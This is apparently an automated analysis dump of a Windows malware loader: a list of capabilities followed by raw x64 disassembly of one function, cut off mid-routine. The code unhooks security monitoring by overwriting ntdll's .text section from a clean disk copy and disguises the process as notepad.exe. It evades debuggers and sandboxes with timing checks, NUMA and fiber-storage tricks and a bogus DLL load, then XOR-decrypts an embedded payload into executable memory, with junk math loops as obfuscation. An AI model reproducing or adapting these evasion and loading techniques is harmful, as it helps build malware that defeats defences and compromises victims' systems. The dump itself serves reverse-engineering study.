Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x908
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x870], xmm6
mov dword [rbp + 0x8b0], ecx
mov qword [rbp + 0x8b8], rdx
call fcn.140002c00
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x800], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x868], rax
mov dword [rbp + 0x85c], 0
mov ecx, 0x16f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0x864], 0
jmp 0x1400015ac
mov dword [rbp + 0x860], 0
jmp 0x14000159c
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x633d96d9
shr rdx, 0x20
mov ecx, edx
sar ecx, 0xb
cdq
sub ecx, edx
imul edx, ecx, 0x14a3
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x864]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x7e8]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x860]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0x29
jle 0x140001530
add dword [rbp + 0x864], 1
cmp dword [rbp + 0x864], 0x22
jle 0x140001524
mov dword [rbp + 0x864], 0
jmp 0x14000163a
mov dword [rbp + 0x860], 0
jmp 0x14000162a
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x85c]
mov eax, dword [rbp + 0x864]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x7e8]
add rdx, rax
mov eax, dword [rbp + 0x860]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x85c], eax
add dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0x29
jle 0x1400015d1
add dword [rbp + 0x864], 1
cmp dword [rbp + 0x864], 0x22
jle 0x1400015c5
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x868], 0
jne 0x14000168c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x868], rax
cmp qword [rbp + 0x868], 0
je 0x140001a72
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x640]
mov rax, qword [rbp + 0x7f0]
mov r10, qword [rbp + 0x868]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x7e0], rax
mov dword [rbp + 0x858], 0xffffffff
mov ecx, 0x1b08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d8], rax
add dword [rbp + 0x858], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006650]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
movsd xmm1, qword [0x140006658]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
movq xmm1, qword [0x140006660]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x858], 0x35f
jle 0x1400016f3
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7e0]
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov qword [rbp + 0x7b0], rax
mov word [rbp + 0x856], 0
jmp 0x140001a5a
mov rax, qword [rbp + 0x7b0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7b0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x856]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001a49
mov dword [rbp + 0x608], 0
mov dword [rbp + 0x850], 0
jmp 0x140001972
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x78787879
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x7a4], eax
mov ecx, dword [rbp + 0x7a4]
mov eax, ecx
shl eax, 4
add eax, ecx
sub edx, eax
mov dword [rbp + 0x7a4], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006650]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x7a4]
movq xmm0, rax
call fcn.140003e10
movq rax, xmm0
mov qword [rbp + 0x798], rax
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x15a
jle 0x1400018f7
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7e0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x608]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7c0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7e0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x608]
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7e0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x608]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x856]
add eax, 1
mov word [rbp + 0x856], ax
mov rax, qword [rbp + 0x7b0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x856], ax
jb 0x140001887
mov ecx, 0xd80
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov dword [rbp + 0x84c], 0
jmp 0x140001adc
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x790]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x35f
jle 0x140001a8f
mov dword [rbp + 0x84c], 0
jmp 0x140001bf4
mov dword [rbp + 0x668], 0
jmp 0x140001bd6
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x668]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140001bcf
mov eax, dword [rbp + 0x668]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x664], eax
mov eax, dword [rbp + 0x84c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov edx, dword [rbp + 0x668]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x790]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x668]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rdx, rax
mov eax, dword [rbp + 0x664]
mov dword [rdx], eax
add dword [rbp + 0x84c], 1
mov eax, 0x35f
sub eax, dword [rbp + 0x84c]
cmp dword [rbp + 0x668], eax
jl 0x140001b06
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x35f
jle 0x140001af7
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x60c], 0
mov rax, qword [rbp + 0x800]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x610]
lea rax, [rbp + 0x60c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x788]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x618]
add rax, 0x3c
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov dword [rbp + 0x848], 0xffffffff
mov ecx, 0x4b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
add dword [rbp + 0x848], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006650]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x778]
add rax, rdx
movsd xmm1, qword [0x140006658]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x848]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x778]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x848], 0x95
jle 0x140001cb3
mov rax, qword [rbp + 0x780]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov ecx, 0x7a4
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x7a4
jne 0x140002b30
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x774], 0x218
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
call rax
mov dword [rbp + 0x764], eax
mov eax, dword [rbp + 0x774]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x768]
call rax
mov dword [rbp + 0x760], eax
mov eax, dword [rbp + 0x760]
sub eax, dword [rbp + 0x764]
cmp eax, 0x1e6
jbe 0x140002b30
mov dword [rbp + 0x604], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x604]
mov r8, qword [rbp + 0x758]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x604]
cmp eax, 1
je 0x140002b30
mov dword [rbp + 0x754], 0x2f3
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
call rax
mov dword [rbp + 0x744], eax
mov eax, dword [rbp + 0x754]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x748]
call rax
mov dword [rbp + 0x740], eax
mov eax, dword [rbp + 0x740]
sub eax, dword [rbp + 0x744]
cmp eax, 0x2c1
jbe 0x140002b30
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x738], rax
cmp qword [rbp + 0x738], 0
jne 0x140002b30
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
mov ecx, 0
call rax
mov dword [rbp + 0x72c], eax
cmp dword [rbp + 0x72c], 0xffffffff
je 0x140002b30
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
mov ecx, 0
call rax
mov dword [rbp + 0x71c], eax
cmp dword [rbp + 0x71c], 0xffffffff
je 0x140002b30
mov qword [rbp + 0x710], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x5347e80
mov ecx, 0
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
je 0x140002b30
mov rax, qword [rbp + 0x710]
mov edx, 0x5347e80
mov rcx, rax
call fcn.140004b10
mov rax, qword [rbp + 0x710]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x840], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140002114
mov rax, qword [rbp + 0x700]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6f8]
mov r9d, 0x3000
mov r8d, 0x2bb
mov edx, 0
call rax
mov qword [rbp + 0x840], rax
cmp qword [rbp + 0x840], 0
je 0x140002b30
lea rax, str.mivgbnhvdtyrv.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
jne 0x140002b30
lea rax, [rbp + 0x100]
lea rdx, [0x140006158]
mov ecx, 0x9f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x7f8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x7f8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e8]
mov r8d, 0
mov edx, 0x4f7
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
mov r9, qword [rbp + 0x6e0]
mov r8d, 0x4f7
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x800]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov dword [rbp + 0x83c], 0xffffffff
mov ecx, 0x1a08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov ecx, 0x1a08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
add dword [rbp + 0x83c], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x83c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x83c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x83c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6b8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003d30
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x83c], 0x33f
jle 0x14000223b
lea rdx, [rbp + 0x100]
mov rax, qword [rbp + 0x6d0]
mov r9, qword [rbp + 0x6c8]
mov r8d, 0x4f7
mov rcx, rax
call r9
mov dword [rbp + 0x838], 0
mov dword [rbp + 0x834], 0
mov dword [rbp + 0x830], 0
movabs rax, 0x13a357526957c0c7
movabs rdx, 0xdc1181ed366ec2aa
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x876e4b1f62cd6feb
movabs rdx, 0x230c8e322b5a117
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x41b050090a470c32
movabs rdx, 0xe036a97b467a8bf0
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x63c712950be7cc3d
movabs rdx, 0xcc37105308ce89cd
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xec51b5feb6b3ae18
movabs rdx, 0x2a151ca12ba47959
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x4994838aa04dd88b
movabs rdx, 0xa32433615afaef2
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xe43e95d0ad196a87
movabs rdx, 0x5f9584a244eece06
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
mov word [rbp + 0xf0], 0xcf
movabs rax, 0x2df44616f7658904
movabs rdx, 0xbdfc69af3892ed7
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xde4e3e3d06fe9fe9
movabs rdx, 0x8715272a7055f487
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x8170ec57fa23391b
movabs rdx, 0xe4419f7a43f56fee
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x1f282f7f08e4419f
movabs rdx, 0xec17b2962e4112
mov qword [rbp - 0x13], rax
mov qword [rbp - 0xb], rdx
mov ecx, 0x354
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x828], 0
mov dword [rbp + 0x824], 0
mov dword [rbp + 0x82c], 0
jmp 0x140002543
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x82c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6b0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0xd4
jle 0x1400024f7
mov dword [rbp + 0x82c], 0
jmp 0x140002584
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x828], eax
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0xd4
jle 0x14000255b
mov dword [rbp + 0x82c], 0
jmp 0x14000260c
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x824]
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x66c]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140006670]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003f80
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x824], eax
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0xd4
jle 0x14000259c
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x824]
movss xmm1, dword [0x140006678]
divss xmm0, xmm1
movss dword [rbp + 0x6ac], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x6ac]
movq rax, xmm3
movq xmm0, rax
call fcn.140003bf0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x6a8], xmm0
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x14000275a
cmp dword [rbp + 0x834], 0x3b
jne 0x1400026b6
mov eax, dword [rbp + 0x838]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x834]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x838]
cdqe
mov byte [rbp + rax], dl
mov dword [rbp + 0x834], 0
jmp 0x140002753
mov dword [rbp + 0x820], 0
mov dword [rbp + 0x81c], 1
mov dword [rbp + 0x818], 0
mov dword [rbp + 0x674], 0x258
jmp 0x140002713
mov edx, dword [rbp + 0x820]
mov eax, dword [rbp + 0x81c]
add eax, edx
mov dword [rbp + 0x670], eax
add dword [rbp + 0x818], 1
mov eax, dword [rbp + 0x81c]
mov dword [rbp + 0x820], eax
mov eax, dword [rbp + 0x670]
mov dword [rbp + 0x81c], eax
mov eax, dword [rbp + 0x818]
cmp eax, dword [rbp + 0x674]
jl 0x1400026e0
mov eax, dword [rbp + 0x838]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x834]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x838]
cdqe
mov byte [rbp + rax], dl
add dword [rbp + 0x834], 1
add dword [rbp + 0x838], 1
mov eax, dword [rbp + 0x838]
cmp eax, 0x70
jbe 0x140002673
mov dword [rbp + 0x814], 0x3d4
mov dword [rbp + 0x810], 0x168
jmp 0x14000279d
mov eax, dword [rbp + 0x814]
cmp eax, dword [rbp + 0x810]
jle 0x140002796
sub dword [rbp + 0x814], 1
jmp 0x14000279d
sub dword [rbp + 0x810], 1
cmp dword [rbp + 0x814], 0
jg 0x14000277f
mov dword [rbp + 0x838], 0
jmp 0x140002a97
cmp dword [rbp + 0x830], 0x70
jne 0x140002808
mov eax, dword [rbp + 0x838]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x830]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x838]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x830], 0
jmp 0x14000284d
mov eax, dword [rbp + 0x838]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x830]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x838]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x830], 1
mov ecx, 0x1ad0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov ecx, 0x1ad0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov ecx, 0x1ad0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x80c], 0
jmp 0x140002979
mov dword [rbp + 0x808], 0
jmp 0x140002965
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x80c]
movsxd rcx, eax
mov rax, rcx
shl rax, 5
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x688]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x808]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x80c]
movsxd rcx, eax
mov rax, rcx
shl rax, 5
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x680]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x808]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x808], 1
cmp dword [rbp + 0x808], 0x20
jle 0x14000289e
add dword [rbp + 0x80c], 1
